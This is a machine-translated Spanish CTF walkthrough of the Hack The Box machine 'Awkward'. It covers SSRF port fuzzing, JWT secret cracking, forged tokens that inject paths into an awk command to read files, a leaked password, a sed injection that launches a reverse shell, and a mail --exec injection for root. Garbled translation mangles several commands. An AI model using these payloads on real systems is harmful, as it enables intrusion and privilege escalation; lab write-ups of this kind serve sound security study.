Tutorial de Hack The Box incómodo — [ Htb ]
Informe incómodo de Htb
¡Hola, chicos! Bienvenido a mi blog, así que hoy vamos a discutir sobre la incómoda máquina hack-the-box que presenta una vulnerabilidad SSRF para obtener acceso al sistema de archivos interno, también existe una vulnerabilidad LFI para obtener el shell de usuario de esa máquina y al abusar el comando de correo podemos obtener privilegios de root de ese sistema
Enumeración:
Primero, como de costumbre, comenzamos con nuestro escaneo nmap
PASO 1: nmap -sC -sV 10.10.11.185
Aquí está el puerto habitual y los servicios están abiertos.
Así que vamos a visitar el sitio web en el navegador que eshttp://10.10.11.185
Ahora será redirigido a lahttp://hat-valley.htb/así que agreguemos esto a su archivo /etc/hosts para acceder a ese sitio web
Ahora usted puede ser capaz de acceder a ese sitio web
A continuación, revisé el código fuente en busca de cosas interesantes.
Y encontré un archivo javascript interesante que app.js pero el código es enorme
Copiemos y peguemos ese código enhttps://codepen.io/pen/lo que hace mejor o abre vscode
Al analizar más a fondo este código, puede encontrar más token JWT que está codificado con base64, lo que no es interesante
Aquí necesitamos analizar todo el código app.js para obtener cosas interesantes
Analizando más a fondo este código he encontrado algunos directorios interesantes.
Primero encontré la ruta /hr
que redirigió a una página de inicio de sesión. Lo intenté con la contraseña de administrador predeterminada, pero no funciona.
Al ver el código anterior, puede notar que baseurl = API y que hay otros directorios all-leave y submit-leave en la API porque concatena baseurl + all-leve y baseurl + submit-leave, lo cual es interesante, así que ahora puede ser capaz de entender este código y la misma explicación para las siguientes dos imágenes, solo cambiará el directorio
Entonces, revisemos /api/staff-details
¡¡¡¡Oh!!!! Me arroja el error de token JWT Malformed creo que es un error de token asi que pasemos esto sin token
PASO 2: rizo -shttp://hat-valley.htb/api/staff-details| jq
Booomm!!! Ahora obtendrá el nombre de usuario y la contraseña de cada usuario disponible
Entonces, vamos a descifrar este hash usando john pero, desafortunadamente, el hash ha sido descifrado porhttps://hashes.com/en/tools/hash_identifieraquí fui a buscar el formato hash pero se rompió gracias
nombre de usuario = christopher.jones contraseña = chris123 para iniciar sesión con este nombre de usuario y contraseña
Booomm!!! Tenemos el tablero
Entonces, a continuación, hice clic en el botón Actualizar
Y capturé esa solicitud En eructo y encontré algo torcido con esa solicitud
Vulnerabilidad SSRF:
Porque hay un parámetro de URL que puede conducir al ataque SSRF
Usando esa vulnerabilidad SSRF podemos acceder al archivo interno de ese sistema que no está disponible públicamente
Consulte el siguiente artículo
Verifiqué conhttp://localhost:80cual eshttp://hat-vally.htb
Ahora puede confirmar que es un SSRF. ¡¡¡Hurra!!!
Entonces, fuzzemos el puerto para obtener acceso interno a ese sistema.
PASO 3: ffuf -u'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -w /usr/share/seclists/Fuzzing/4-digits-0000–9999.txt -fs 0
Aquí encontré 3002 interesante, así que vamos a comprobarlo. pero obtienes la página en blanco
Dar comillas dobles en "http://localhost:3002"
Ahora tienes acceso a esa página interna
Inclusión de archivos locales:
Después de analizar esta página, encontré un punto final de API interesante que tiene una vulnerabilidad LFI
Al analizar más a fondo este código, encontré algo interesante en el comando AWK. Normalmente, la herramienta AWK Linux es un lenguaje de programación (ver en Google).
Y el nombre del cuadro tiene un sentido incómodo , pero personalmente creo que está disponible en la escalada de privilegios del usuario para rootear (consulte esto en Tryhackme Room)
Aquí puede notar que el comando awk pasa la variable de usuario que ha decodificado el token JWT de un usuario
Pero para abusar de esto, necesitamos la clave secreta porque al usar esa clave secreta podemos crear nuestro propio token para cualquier usuario.
BruteForceing la clave débil:
Mientras inicia sesión con el usuario de Christoper, puede ver el token en el eructo
Necesitamos descifrar este Token para Secrete Key usando John
Primero copie y pegue ese token JWT en el archivo
PASO 4: john JWT.txt — lista de palabras=rockyou.txt — formato=HMAC-SHA256
Booomm!!! Ahora puedes obtener la clave secreta
Ahora la firma está verificada
Primero buscamos el archivo /etc/passwd
Así que vamos a curvar ese punto final con este token JWT
PASO 5: rizohttp://hat-valley.htb/api/all-leave— encabezado “cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii
8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzY5MDQ3Mjh9.9kHRYTuO1Oh0ykcKpTiNmCH8jeg4rL8J31 znekRdaaE”
Booomm!!!! Ahora listará el archivo /etc/passwd
Aquí tienes algunos usuarios como bean y Christine.
Y verificamos las claves ssh para ambos usuarios, pero no podemos obtener
Entonces, a continuación, buscamos el archivo .bashrc
A continuación, enrolle eso y obtendrá el archivo .bashrc
Al analizar más a fondo este archivo bash, puede notar que hay un archivo de respaldo que tiene sentido
Démosle esta ubicación de respaldo en la clave JWT
A continuación, enrolle este token con ese punto final
PASO 6: rizohttp://hat-valley.htb/api/all-leave— encabezado “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NzY5MDQ3Mjh9 .4LyhastbruMYsHH8UcKped_Pic7mjvSD2fSkVZWfC1w” — copia de seguridad de salida.sh
Ahora obtendrá ese archivo backup.sh y en ese archivo, podrá ver el archivo backup.tar
PASO 7: rizohttp://hat-valley.htb/api/all-leave— encabezado “Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJ yIsImlhdCI6MTY3NjkwNDcyOH0.sE5i7Nx06DGh1uhK_nyMIhGn2bCt_nxoDDtu9P7ogk0” — salida bean_backup_final.tar.gz
A continuación, extraiga ese archivo y obtendrá el archivo de copia de seguridad de esa máquina.
Y también hay algunos archivos y directorios ocultos disponibles
PASO 8: ls -al
A continuación, abra el
PASO 9 : gato /.config/xpad/content-DS1ZS1
Aquí puede encontrar algunos bean creds para el inicio de sesión SSH
Indicador de usuario:
PASO 10: ssh [email protected]
PASO 11: gato usuario.txt
Boooommm!!! Ahora obtienes la marca de usuario de esa máquina.
Después de obtener el shell, verifiqué el abuso binario de sudo y linpeas, pero no funcionará.
A continuación, revisé el archivo de host en busca de un vhost o subdominio interesante
Así que agreguemos esto a nuestro archivo /etc/hosts para acceder a esa página web
al acceder a esa pagina pide usuario y contraseña
Así que revisé el archivo de configuración en nginx que es /etc/nginx y obtuve el nombre de usuario y la contraseña en el hash
pero probablemente no podré descifrar ese hash, así que usé credenciales SSH para iniciar sesión en esa aplicación
Nombre de usuario: admin Contraseña: 014mrbeanrules!#P
Booomm!!! Obtenemos acceso de inicio de sesión a esa aplicación y a la aplicación de compras
Así que fui a shop.php
Después de eso, revisé ese código en /var/www/store en busca de cosas interesantes.
En el código, encontré algo extraño en el comando Sed que puede conducir a la ejecución remota del código, pero no podemos explotar esto directamente en la aplicación web si ejecutamos el shell inverso, ¡muestra un carácter incorrecto detectado!
Entonces, para evitar esto, configuramos un shell inverso en esa máquina y ejecutamos ese archivo en esa aplicación
Primero, agregue cualquier producto al carrito
A continuación, echa un vistazo a Mycart, puedes ver ese producto
Y puede ver este carrito en esa máquina si se agrega a ese carrito
Entonces, nuestro plan es abusar del comando sed para obtener el shell inverso de esa máquina y podemos ejecutar el comando en el botón Eliminar si necesitamos más información sobre el abuso del comando SED en el siguiente artículo.
Primero, necesitamos un shell inverso simple de revshells.com
Y dar permiso de ejecución a ese archivo.
PASO 12: chmod 777 evilshell.sh
A continuación, configure su oyente en su máquina local
PASO 13: nc -lvp 9001
Primero, añade el producto al carrito.
A continuación, haga clic en el botón Eliminar y capture esa solicitud.
Y editar el parámetro del elemento
'+-e+"1e+/tmp/evilshell.sh"+/tmp/evilshell.sh+'
A continuación, verifiqué el proceso en la máquina del usuario.
PASO 14: ps -eaf
Aquí puede notar que inotifywait está monitoreando /var/www/private/leave_request, así que verifiquemos esto en www-data
Entonces, pasemos un argumento a ese archivo sobre lo que sucedió en ese proceso.
Y descubrí que ejecutar el comando de correo con privilegios de root
Entonces, pasemos el shell inverso en el archivo Leave_request.csv y ejecute el comando de correo con privilegios de root.
Primero, cree un shell inverso en la máquina del usuario
A continuación, configure su oyente en la máquina local
PASO 15: nc -lvp 9002
Después de eso, vaya a la máquina www-data y ejecute el siguiente comando
echo '" --exec="\!/tmp/evilshell.sh"' >> leave_requests.csv
¡¡¡Bummmmm!!! Ahora obtienes ese shell raíz de esa máquina
Espero que entiendas este artículo. Si te gusta mi artículo, aplaude y si te gusta mi trabajo, dona a mi examen OSCP.

![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































